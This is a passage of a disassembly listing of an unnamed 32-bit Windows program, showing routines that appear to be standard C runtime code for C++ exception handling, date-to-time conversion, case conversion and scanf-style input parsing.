mov ecx, dword_4CDA30
mov [ebp+var_1C], ecx
mov ecx, dword_4CDA34
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov dword_4CDA30, edi
mov ecx, [ebp+arg_8]
mov dword_4CDA34, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_417F81
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
or [ebp+var_4], 0FFFFFFFFh
call sub_41D1E6
mov eax, [ebp+var_2C]
loc_41D1AD: ; CODE XREF: sub_41D1C6+16j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41D120 endp
; =============== S U B R O U T I N E =======================================
sub_41D1BC proc near ; DATA XREF: ___:00424880o
push dword ptr [ebp-14h]
call sub_41D22C
pop ecx
retn
sub_41D1BC endp
; =============== S U B R O U T I N E =======================================
sub_41D1C6 proc near ; DATA XREF: ___:00424884o
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_4181E2
pop ecx
pop ecx
xor eax, eax
jmp short loc_41D1AD
sub_41D1C6 endp
; ---------------------------------------------------------------------------
loc_41D1DE: ; DATA XREF: ___:00424878o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_41D1E6 proc near ; CODE XREF: sub_41D120+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov dword_4CDA30, eax
mov eax, [ebp-20h]
mov dword_4CDA34, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_41D22B
cmp dword ptr [edi+10h], 3
jnz short locret_41D22B
cmp dword ptr [edi+14h], 19930520h
jnz short locret_41D22B
cmp [ebp-24h], ebx
jnz short locret_41D22B
cmp [ebp-2Ch], ebx
jz short locret_41D22B
call sub_41824A
push eax
push edi
call sub_41D41A
pop ecx
pop ecx
locret_41D22B: ; CODE XREF: sub_41D1E6+1Cj
; sub_41D1E6+22j ...
retn
sub_41D1E6 endp
; =============== S U B R O U T I N E =======================================
sub_41D22C proc near ; CODE XREF: sub_41D1BC+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_41D253
cmp dword ptr [eax+10h], 3
jnz short loc_41D253
cmp dword ptr [eax+14h], 19930520h
jnz short loc_41D253
cmp dword ptr [eax+1Ch], 0
jnz short loc_41D253
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41D253: ; CODE XREF: sub_41D22C+Cj
; sub_41D22C+12j ...
xor eax, eax
retn
sub_41D22C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D256 proc near ; CODE XREF: sub_41D0A5+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_424888
push offset sub_41F774
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_41D3FF
cmp byte ptr [eax+8], 0
jz loc_41D3FF
mov eax, [ecx+8]
test eax, eax
jz loc_41D3FF
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_41D2F3
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_4208D2
pop ecx
pop ecx
test eax, eax
jz loc_41D3F6
push 1
push edi
call sub_4208EE
pop ecx
pop ecx
test eax, eax
jz loc_41D3F6
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_41D2E4: ; CODE XREF: sub_41D256+F5j
push eax
call sub_41D481
pop ecx
pop ecx
mov [edi], eax
jmp loc_41D3FB
; ---------------------------------------------------------------------------
loc_41D2F3: ; CODE XREF: sub_41D256+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_41D34D
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_4208D2
pop ecx
pop ecx
test eax, eax
jz loc_41D3F6
push 1
push edi
call sub_4208EE
pop ecx
pop ecx
test eax, eax
jz loc_41D3F6
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_4182C0
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_41D3FB
mov eax, [edi]
test eax, eax
jz loc_41D3FB
add esi, 8
push esi
jmp short loc_41D2E4
; ---------------------------------------------------------------------------
loc_41D34D: ; CODE XREF: sub_41D256+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_41D395
call sub_4208D2
pop ecx
pop ecx
test eax, eax
jz loc_41D3F6
push 1
push edi
call sub_4208EE
pop ecx
pop ecx
test eax, eax
jz short loc_41D3F6
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_41D481
pop ecx
pop ecx
push eax
push edi
call sub_4182C0
add esp, 0Ch
jmp short loc_41D3FB
; ---------------------------------------------------------------------------
loc_41D395: ; CODE XREF: sub_41D256+103j
call sub_4208D2
pop ecx
pop ecx
test eax, eax
jz short loc_41D3F6
push 1
push edi
call sub_4208EE
pop ecx
pop ecx
test eax, eax
jz short loc_41D3F6
push dword ptr [esi+18h]
call sub_42090A
pop ecx
test eax, eax
jz short loc_41D3F6
test byte ptr [esi], 4
jz short loc_41D3DC
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_41D481
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_417EF5
jmp short loc_41D3FB
; ---------------------------------------------------------------------------
loc_41D3DC: ; CODE XREF: sub_41D256+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_41D481
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_417EEE
jmp short loc_41D3FB
; ---------------------------------------------------------------------------
loc_41D3F6: ; CODE XREF: sub_41D256+6Aj
; sub_41D256+7Cj ...
call sub_41D552
loc_41D3FB: ; CODE XREF: sub_41D256+98j
; sub_41D256+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_41D3FF: ; CODE XREF: sub_41D256+2Ej
; sub_41D256+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41D256 endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_41D4FC
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D41A proc near ; CODE XREF: sub_41CD45+170p
; sub_41D1E6+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_424898
push offset sub_41F774
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_41D461
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_41D461
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_417EEE
or [ebp+var_4], 0FFFFFFFFh
loc_41D461: ; CODE XREF: sub_41D41A+2Aj
; sub_41D41A+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41D41A endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_41D4FC
; =============== S U B R O U T I N E =======================================
sub_41D481 proc near ; CODE XREF: sub_41D256+8Fp
; sub_41D256+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_41D4A2
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_41D4A2: ; CODE XREF: sub_41D481+12j
pop esi
retn
sub_41D481 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D4B0 proc near ; CODE XREF: sub_417F81+40p
; sub_41CFF1+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_41826D
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_41D4EF
mov ecx, 2
loc_41D4EF: ; CODE XREF: sub_41D4B0+38j
push ecx
call sub_41826D
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_41D4B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D4FC proc near ; CODE XREF: sub_41CD45:loc_41CEE7j
; sub_41D08F:loc_41D0A0j ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00420922 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4248A8
push offset sub_41F774
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, dword_4CDA3C
test eax, eax
jz short loc_41D544
mov [ebp+var_4], 1
call eax
jmp short loc_41D540
; ---------------------------------------------------------------------------
loc_41D539: ; DATA XREF: ___:004248B8o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41D53D: ; DATA XREF: ___:004248BCo
mov esp, [ebp+var_18]
loc_41D540: ; CODE XREF: sub_41D4FC+3Bj
and [ebp+var_4], 0
loc_41D544: ; CODE XREF: sub_41D4FC+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_41D54D: ; DATA XREF: ___:004248B0o
jmp loc_420922
sub_41D4FC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D552 proc near ; CODE XREF: sub_418123+23p
; sub_418123:loc_41818Ep ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4248C0
push offset sub_41F774
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, off_435FF4
test eax, eax
jz short loc_41D59A
mov [ebp+var_4], 1
call eax ; sub_41D4FC
jmp short loc_41D596
; ---------------------------------------------------------------------------
loc_41D58F: ; DATA XREF: ___:004248D0o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41D593: ; DATA XREF: ___:004248D4o
mov esp, [ebp+var_18]
loc_41D596: ; CODE XREF: sub_41D552+3Bj
and [ebp+var_4], 0
loc_41D59A: ; CODE XREF: sub_41D552+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_41D5A3: ; DATA XREF: ___:004248C8o
jmp sub_41D4FC
sub_41D552 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D5A8 proc near ; CODE XREF: sub_418603+7p
; sub_418603+26p
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4CF028
push esi
cmp eax, 3
jnz short loc_41D5D1
mov esi, [ebp+arg_0]
push esi
call sub_41AD89
test eax, eax
pop ecx
jz short loc_41D5CE
mov eax, [esi-4]
sub eax, 9
jmp short loc_41D606
; ---------------------------------------------------------------------------
loc_41D5CE: ; CODE XREF: sub_41D5A8+1Cj
push esi
jmp short loc_41D5F8
; ---------------------------------------------------------------------------
loc_41D5D1: ; CODE XREF: sub_41D5A8+Ej
cmp eax, 2
jnz short loc_41D5F5
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
push [ebp+arg_0]
call sub_41BAE4
add esp, 0Ch
test eax, eax
jz short loc_41D5F5
movzx eax, byte ptr [eax]
shl eax, 4
jmp short loc_41D606
; ---------------------------------------------------------------------------
loc_41D5F5: ; CODE XREF: sub_41D5A8+2Cj
; sub_41D5A8+43j
push [ebp+arg_0]
loc_41D5F8: ; CODE XREF: sub_41D5A8+27j
push 0
push dword_4CF024
nop
call near ptr 287059Bh
loc_41D606: ; CODE XREF: sub_41D5A8+24j
; sub_41D5A8+4Bj
pop esi
leave
retn
sub_41D5A8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D609 proc near ; CODE XREF: sub_4186B1+C9p
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_0]
sub ebx, 76Ch
cmp ebx, 46h
jl loc_41D6C5
cmp ebx, 8Ah
jg loc_41D6C5
push esi
push edi
mov edi, [ebp+arg_4]
mov esi, dword_436724[edi*4]
add esi, [ebp+arg_8]
test bl, 3
jnz short loc_41D648
cmp edi, 2
jle short loc_41D648
inc esi
loc_41D648: ; CODE XREF: sub_41D609+37j
; sub_41D609+3Cj
call sub_420939
mov eax, ebx
lea ecx, [ebx-1]
imul eax, 16Dh
sar ecx, 2
mov edx, esi
mov [ebp+var_8], esi
add edx, ecx
mov [ebp+var_10], ebx
add eax, edx
mov edx, [ebp+arg_14]
lea ecx, [eax+eax*2]
mov eax, [ebp+arg_C]
mov [ebp+var_1C], eax
lea ecx, [eax+ecx*8]
imul ecx, 3Ch
add ecx, [ebp+arg_10]
imul ecx, 3Ch
add ecx, dword_436640
dec edi
cmp [ebp+arg_18], 1
mov [ebp+var_14], edi
pop edi
pop esi
lea ecx, [ecx+edx+7C558180h]
mov [ebp+arg_0], ecx
jz short loc_41D6BB
cmp [ebp+arg_18], 0FFFFFFFFh
jnz short loc_41D6C1
cmp dword_436644, 0
jz short loc_41D6C1
lea eax, [ebp+var_24]
push eax
call sub_420BAC
pop ecx
mov ecx, [ebp+arg_0]
test eax, eax
jz short loc_41D6C1
loc_41D6BB: ; CODE XREF: sub_41D609+90j
add ecx, dword_436648
loc_41D6C1: ; CODE XREF: sub_41D609+96j
; sub_41D609+9Fj ...
mov eax, ecx
jmp short loc_41D6C8
; ---------------------------------------------------------------------------
loc_41D6C5: ; CODE XREF: sub_41D609+13j
; sub_41D609+1Fj
or eax, 0FFFFFFFFh
loc_41D6C8: ; CODE XREF: sub_41D609+BAj
pop ebx
leave
retn
sub_41D609 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D6CB proc near ; CODE XREF: sub_418833+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4CDA48, 0
push ebx
jnz short loc_41D6F6
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_41D794
cmp eax, 7Ah
jg loc_41D794
sub eax, 20h
jmp loc_41D794
; ---------------------------------------------------------------------------
loc_41D6F6: ; CODE XREF: sub_41D6CB+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_41D729
cmp dword_433E7C, 1
jle short loc_41D716
push 2
push ebx
call sub_41A642
pop ecx
pop ecx
jmp short loc_41D721
; ---------------------------------------------------------------------------
loc_41D716: ; CODE XREF: sub_41D6CB+3Dj
mov eax, off_433C70
mov al, [eax+ebx*2]
and eax, 2
loc_41D721: ; CODE XREF: sub_41D6CB+49j
test eax, eax
jnz short loc_41D729
loc_41D725: ; CODE XREF: sub_41D6CB+AFj
mov eax, ebx
jmp short loc_41D794
; ---------------------------------------------------------------------------
loc_41D729: ; CODE XREF: sub_41D6CB+34j
; sub_41D6CB+58j
mov edx, off_433C70
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41D74C
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_41D755
; ---------------------------------------------------------------------------
loc_41D74C: ; CODE XREF: sub_41D6CB+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_41D755: ; CODE XREF: sub_41D6CB+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push dword_4CDA48
call sub_41E709
add esp, 20h
test eax, eax
jz short loc_41D725
cmp eax, 1
jnz short loc_41D787
movzx eax, [ebp+var_4]
jmp short loc_41D794
; ---------------------------------------------------------------------------
loc_41D787: ; CODE XREF: sub_41D6CB+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_41D794: ; CODE XREF: sub_41D6CB+14j
; sub_41D6CB+1Dj ...
pop ebx
leave
retn
sub_41D6CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D797 proc near ; CODE XREF: sub_418A52+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_41E19D
mov edi, [ebp+arg_0]
jmp short loc_41D7C6
; ---------------------------------------------------------------------------
loc_41D7C1: ; CODE XREF: sub_41D797+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_41D7C6: ; CODE XREF: sub_41D797+28j
cmp dword_433E7C, 1
jle short loc_41D7DE
movzx eax, al
push 8
push eax
call sub_41A642
pop ecx
pop ecx
jmp short loc_41D7ED
; ---------------------------------------------------------------------------
loc_41D7DE: ; CODE XREF: sub_41D797+36j
mov ecx, off_433C70
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_41D7ED: ; CODE XREF: sub_41D797+45j
cmp eax, ebx
jz short loc_41D827
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_41E224
pop ecx
pop ecx
push eax
call sub_41E20D
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_420F60
add esp, 0Ch
loc_41D815: ; CODE XREF: sub_41D797+8Ej
test eax, eax
jz short loc_41D827
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_420F60
pop ecx
jmp short loc_41D815
; ---------------------------------------------------------------------------
loc_41D827: ; CODE XREF: sub_41D797+58j
; sub_41D797+80j
cmp byte ptr [esi], 25h
jnz loc_41E109
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_41D85E: ; CODE XREF: sub_41D797+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp dword_433E7C, 1
jle short loc_41D87B
movzx eax, bl
push 4
push eax
call sub_41A642
pop ecx
pop ecx
jmp short loc_41D88A
; ---------------------------------------------------------------------------
loc_41D87B: ; CODE XREF: sub_41D797+D3j
mov ecx, off_433C70
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_41D88A: ; CODE XREF: sub_41D797+E2j
test eax, eax
jz short loc_41D8A0
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_41D905
; ---------------------------------------------------------------------------
loc_41D8A0: ; CODE XREF: sub_41D797+F5j
cmp ebx, 4Eh
jg short loc_41D8E3
jz short loc_41D905
cmp ebx, 2Ah
jz short loc_41D8DE
cmp ebx, 46h
jz short loc_41D905
cmp ebx, 49h
jz short loc_41D8C0
cmp ebx, 4Ch
jnz short loc_41D8F2
inc [ebp+var_D]
jmp short loc_41D905
; ---------------------------------------------------------------------------
loc_41D8C0: ; CODE XREF: sub_41D797+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_41D8F2
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_41D8F2
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_41D905
; ---------------------------------------------------------------------------
loc_41D8DE: ; CODE XREF: sub_41D797+113j
inc [ebp+var_E]
jmp short loc_41D905
; ---------------------------------------------------------------------------
loc_41D8E3: ; CODE XREF: sub_41D797+10Cj
cmp ebx, 68h
jz short loc_41D8FF
cmp ebx, 6Ch
jz short loc_41D8F7
cmp ebx, 77h
jz short loc_41D8FA
loc_41D8F2: ; CODE XREF: sub_41D797+122j
; sub_41D797+12Dj ...
inc [ebp+var_F]
jmp short loc_41D905
; ---------------------------------------------------------------------------
loc_41D8F7: ; CODE XREF: sub_41D797+154j
inc [ebp+var_D]
loc_41D8FA: ; CODE XREF: sub_41D797+159j
inc [ebp+var_5]
jmp short loc_41D905
; ---------------------------------------------------------------------------
loc_41D8FF: ; CODE XREF: sub_41D797+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_41D905: ; CODE XREF: sub_41D797+107j
; sub_41D797+10Ej ...
cmp [ebp+var_F], 0
jz loc_41D85E
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_41D92A
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_41D92A: ; CODE XREF: sub_41D797+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_41D948
mov al, [esi]
cmp al, 53h
jz short loc_41D944
cmp al, 43h
jz short loc_41D944
or [ebp+var_5], 0FFh
jmp short loc_41D948
; ---------------------------------------------------------------------------
loc_41D944: ; CODE XREF: sub_41D797+1A1j
; sub_41D797+1A5j
mov [ebp+var_5], 1
loc_41D948: ; CODE XREF: sub_41D797+19Bj
; sub_41D797+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_41D981
cmp esi, 63h
jz short loc_41D972
cmp esi, 7Bh
jz short loc_41D972
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_41E224
pop ecx
jmp short loc_41D97D
; ---------------------------------------------------------------------------
loc_41D972: ; CODE XREF: sub_41D797+1C5j
; sub_41D797+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41E1F3
loc_41D97D: ; CODE XREF: sub_41D797+1D9j
pop ecx
mov [ebp+var_14], eax
loc_41D981: ; CODE XREF: sub_41D797+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_41D991
cmp [ebp+var_C], eax
jz loc_41E16D
loc_41D991: ; CODE XREF: sub_41D797+1EFj
cmp esi, 6Fh
jg loc_41DBF8
jz loc_41DEAA
cmp esi, 63h
jz loc_41DBD5
cmp esi, 64h
jz loc_41DEAA
jle loc_41DC22
cmp esi, 67h
jle short loc_41D9F5
cmp esi, 69h
jz short loc_41D9DD
cmp esi, 6Eh
jnz loc_41DC22
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_41E0D8
jmp loc_41E0FE
; ---------------------------------------------------------------------------
loc_41D9DD: ; CODE XREF: sub_41D797+229j
push 64h
pop esi
loc_41D9E0: ; CODE XREF: sub_41D797+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_41DC6A
mov [ebp+var_17], 1
jmp loc_41DC6F
; ---------------------------------------------------------------------------
loc_41D9F5: ; CODE XREF: sub_41D797+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_41DA11
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_41DA16
; ---------------------------------------------------------------------------
loc_41DA11: ; CODE XREF: sub_41D797+26Aj
cmp ebx, 2Bh
jnz short loc_41DA2D
loc_41DA16: ; CODE XREF: sub_41D797+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_41E1F3
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41DA30
; ---------------------------------------------------------------------------
loc_41DA2D: ; CODE XREF: sub_41D797+27Dj
mov edi, [ebp+arg_0]
loc_41DA30: ; CODE XREF: sub_41D797+294j
cmp [ebp+var_20], 0
jz short loc_41DA3F
cmp [ebp+var_C], 15Dh
jle short loc_41DA46
loc_41DA3F: ; CODE XREF: sub_41D797+29Dj
mov [ebp+var_C], 15Dh
loc_41DA46: ; CODE XREF: sub_41D797+2A6j
; sub_41D797+2F2j
cmp dword_433E7C, 1
jle short loc_41DA5B
push 4
push ebx
call sub_41A642
pop ecx
pop ecx
jmp short loc_41DA66
; ---------------------------------------------------------------------------
loc_41DA5B: ; CODE XREF: sub_41D797+2B6j
mov eax, off_433C70
mov al, [eax+ebx*2]
and eax, 4
loc_41DA66: ; CODE XREF: sub_41D797+2C2j
test eax, eax
jz short loc_41DA8B
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41DA8B
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_41E1F3
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41DA46
; ---------------------------------------------------------------------------
loc_41DA8B: ; CODE XREF: sub_41D797+2D1j
; sub_41D797+2DBj
cmp byte_433E80, bl
jnz short loc_41DAF9
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41DAF9
inc [ebp+var_4]
push edi
call sub_41E1F3
mov ebx, eax
mov al, byte_433E80
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_41DAB4: ; CODE XREF: sub_41D797+360j
cmp dword_433E7C, 1
jle short loc_41DAC9
push 4
push ebx
call sub_41A642
pop ecx
pop ecx
jmp short loc_41DAD4
; ---------------------------------------------------------------------------
loc_41DAC9: ; CODE XREF: sub_41D797+324j
mov eax, off_433C70
mov al, [eax+ebx*2]
and eax, 4
loc_41DAD4: ; CODE XREF: sub_41D797+330j
test eax, eax
jz short loc_41DAF9
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41DAF9
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_41E1F3
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41DAB4
; ---------------------------------------------------------------------------
loc_41DAF9: ; CODE XREF: sub_41D797+2FAj
; sub_41D797+304j ...
cmp [ebp+var_1C], 0
jz loc_41DB91
cmp ebx, 65h
jz short loc_41DB11
cmp ebx, 45h
jnz loc_41DB91
loc_41DB11: ; CODE XREF: sub_41D797+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41DB91
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_41E1F3
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_41DB38
mov [esi], al
inc esi
jmp short loc_41DB3D
; ---------------------------------------------------------------------------
loc_41DB38: ; CODE XREF: sub_41D797+39Aj
cmp ebx, 2Bh
jnz short loc_41DB5B
loc_41DB3D: ; CODE XREF: sub_41D797+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_41DB4C
and [ebp+var_C], eax
jmp short loc_41DB5B
; ---------------------------------------------------------------------------
loc_41DB4C: ; CODE XREF: sub_41D797+3AEj
; sub_41D797+3F8j
inc [ebp+var_4]
push edi
call sub_41E1F3
mov ebx, eax
pop ecx
